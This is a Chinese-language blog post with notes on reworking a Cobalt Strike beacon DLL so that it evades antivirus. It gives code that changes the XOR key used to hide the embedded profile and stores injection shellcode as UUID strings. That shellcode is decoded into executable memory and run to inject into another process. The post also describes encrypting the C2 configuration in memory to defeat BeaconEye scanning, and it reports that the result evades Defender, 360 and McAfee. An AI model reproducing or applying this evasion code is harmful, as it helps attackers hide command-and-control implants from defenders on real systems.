cobalt strike beacon dll 改造实现免杀

前言:beacon dll 改造实现笔记

参考文章:https://github.com/WBGlIl/ReBeacon_Src

技术不到位,下不了手,而且相关的反射dll进程注入也有点问题,更多的可以参考https://github.com/H4de5-7/geacon_pro 这份,代码简洁易懂

异或特征修改

自己大概看完ReBeacon_Src项目之后,profile的特征点太大,虽然进行了异或加密,但是异或加密算法^0x2Eu是固定写死的

beaconMain.cpp

	// 解密内嵌的配置信息
	for (int i = 0; i < 0x1000; ++i)
	{
		rawData[i] ^= 0x2Eu;
	}

那么这种情况下在解密的时候,这一串字节数组就是很大的特征点,放到virtualtotal检测也验证了这种情况,报毒的全是shellcode

定位到客户端代码中异或加密profile的部分,代码位于beacon.BeaconPayload#beacon_obfuscate

      for(int var2 = 0; var2 < var0.length; ++var2) {
         var1[var2] = (byte)(var0[var2] ^ 46);
      }

这里修改的话直接将异或46的值修改为47

对应的beacon中的代码同样改为47,十六进制对应0x2Fu

替换配置文件的时候直接搜索0x2F 0x2E 0x2F 0x2E 0x2F即可,然后进行替换测试上线,发现还是可以上线执行命令的,到这里的话第一处就改好了

shellcode特征码修改

将其改造成注入的时候进行uuid解码,注入完成之后进行释放解码时候的内存空间即可

Global.cpp


const unsigned char sub_10033020_length[76] = {
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01
};

const unsigned char sub_10033070_length[297] = {
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
	0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
};

const char* sub_10033020_uuid[] = {
	"56e58955-8b57-0875-8b4d-0ce800000000",
	"25c08358-ec83-8908-e2c7-420433000000",
	"09e80289-0000-8300-c414-5f5e5dc20800",
	"ff243c8b-482a-c031-57ff-d65f50c74424",
	"00002304-8900-243c-ff2c-240000000000",
};

const char* sub_10033070_uuid[] = {
	"ce8948fc-8948-48e7-83e4-f0e8c8000000",
	"50415141-5152-4856-31d2-65488b526048",
	"4818528b-528b-4820-8b72-50480fb74a4a",
	"48c9314d-c031-3cac-617c-022c2041c1c9",
	"c101410d-ede2-4152-5148-8b52208b423c",
	"66d00148-7881-0b18-0275-728b80880000",
	"c0854800-6774-0148-d050-8b4818448b40",
	"d0014920-56e3-ff48-c941-8b34884801d6",
	"48c9314d-c031-41ac-c1c9-0d4101c138e0",
	"034cf175-244c-4508-39d1-75d858448b40",
	"d0014924-4166-0c8b-4844-8b401c4901d0",
	"88048b41-0148-41d0-5841-585e595a4158",
	"5a415941-8348-20ec-4152-ffe05841595a",
	"e9128b48-ff4f-ffff-5d4d-31c94151488d",
	"ff501846-1076-76ff-0841-51415149b801",
	"00000000-0000-4800-31d2-488b0e41bac8",
	"ff40a438-48d5-c085-740c-48b800000000",
	"00000000-0aeb-b848-0100-000000000000",
	"50c48348-8948-c3fc-0000-000000000000"
};

common.cpp

#pragma pack(1)
typedef struct {
	char field_0[sizeof(sub_10033020_length)];
	HANDLE hProcess;
	DWORD field_12D;
	PVOID StartAddress;
	DWORD field_135;
	PVOID lpParameter;
	DWORD field_13D;
	HANDLE hThread;
	DWORD field_145;
}BeaconShellcode;
#pragma pack()

int sub_1000535D(HANDLE hProcess, LPVOID BaseAddress, LPVOID lpParameter)
{

	OSVERSIONINFOA VersionInformation = { 0 };
	VersionInformation.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);
	if (!GetVersionExA(&VersionInformation))
	{
		return 0;
	}
	if (VersionInformation.dwMajorVersion == 5 && VersionInformation.dwMinorVersion == 2)
	{
		SetLastError(5);
		return 0;
	}
	
	char* lpAddress = (char*)VirtualAlloc(0, sizeof(sub_10033020_length), MEM_COMMIT| MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (!lpAddress)
	{
		return 0;
	}

	DWORD dw_buf_num;
	DWORD_PTR p_ptr;

	BeaconShellcode* lpAddress2 = (BeaconShellcode*)VirtualAlloc(0, sizeof(BeaconShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (!lpAddress2)
	{
		VirtualFree(lpAddress, 0, MEM_RELEASE);
		return 0;
	}

	// Generate uuid Decode
	dw_buf_num = sizeof((unsigned char*)sub_10033020_uuid) / sizeof(sub_10033020_uuid[0]);
	p_ptr = (DWORD_PTR)lpAddress;
	for (size_t i = 0; i < dw_buf_num; i++)
	{
		RPC_STATUS rpc_status = UuidFromStringA((unsigned char*)sub_10033020_uuid[i], (UUID*)p_ptr);
		if (rpc_status != RPC_S_OK) {
			return -1;
		}
		p_ptr += 16;
	}

	// Generate uuid Decode
	dw_buf_num = sizeof((unsigned char*)sub_10033070_uuid) / sizeof(sub_10033070_uuid[0]);
	p_ptr = (DWORD_PTR)lpAddress2;
	for (size_t i = 0; i < dw_buf_num; i++)
	{
		RPC_STATUS rpc_status = UuidFromStringA((unsigned char*)sub_10033070_uuid[i], (UUID*)p_ptr);
		if (rpc_status != RPC_S_OK) {
			return -1;
		}
		p_ptr += 16;
	}
	
	//memcpy(lpAddress, sub_10033020, sizeof(sub_10033020));
	//memcpy(lpAddress2, sub_10033070, sizeof(sub_10033070));

	lpAddress2->hThread = 0;
	lpAddress2->hProcess = hProcess;
	lpAddress2->StartAddress = BaseAddress;
	lpAddress2->lpParameter = lpParameter;
	if (!((int(__stdcall*)(BeaconShellcode*, HANDLE*))lpAddress)(lpAddress2, &lpAddress2->hProcess))
	{
		VirtualFree(lpAddress, 0, MEM_RELEASE);
		VirtualFree(lpAddress2, 0, MEM_RELEASE);
		SetLastError(5);
		return 0;
	}
	if (!lpAddress2->hThread)
	{
		VirtualFree(lpAddress, 0, MEM_RELEASE);
		VirtualFree(lpAddress2, 0, MEM_RELEASE);
		SetLastError(6);
		return 0;
	}
	ResumeThread(lpAddress2->hThread);
	VirtualFree(lpAddress, 0, MEM_RELEASE);
	VirtualFree(lpAddress2, 0, MEM_RELEASE);
	return 1;
}

测试下还是可以正常执行

C2Config堆内存加密

发现一个问题就是虽然在c2 profile中配置了sleep_mask,但是通过beaconEye工具还是检测到了C2Config

在BeaconSleep.cpp中对每次sleep之后进行异或加密即可隐藏配置信息

再次通过扫描进行扫描不出来了

通信标识符

在服务端和beacon通信的时候存在部分标志位的特征,可以同样可以进行修改,这里就不记录了

关于ReBeacon_Src的profile一个小bug

当自定义profile的http-get或者post的时候mask属性值来进行加密操作的时候

在beacon端的comm.cpp的xor_decode解密的时候,如果v8+v9去数组取值会导致错误

这里需要改为v11 = *(char*)(out + v8 + v9) ^ in[v8 & 3];就可以正常运行了

杀毒测试

defender的环境测试如下所示

360核晶模式的环境测试如下所示

麦咖啡的环境测试如下所示

posted @ 2022-11-11 12:44  zpchcbd  阅读(1739)  评论(0编辑  收藏  举报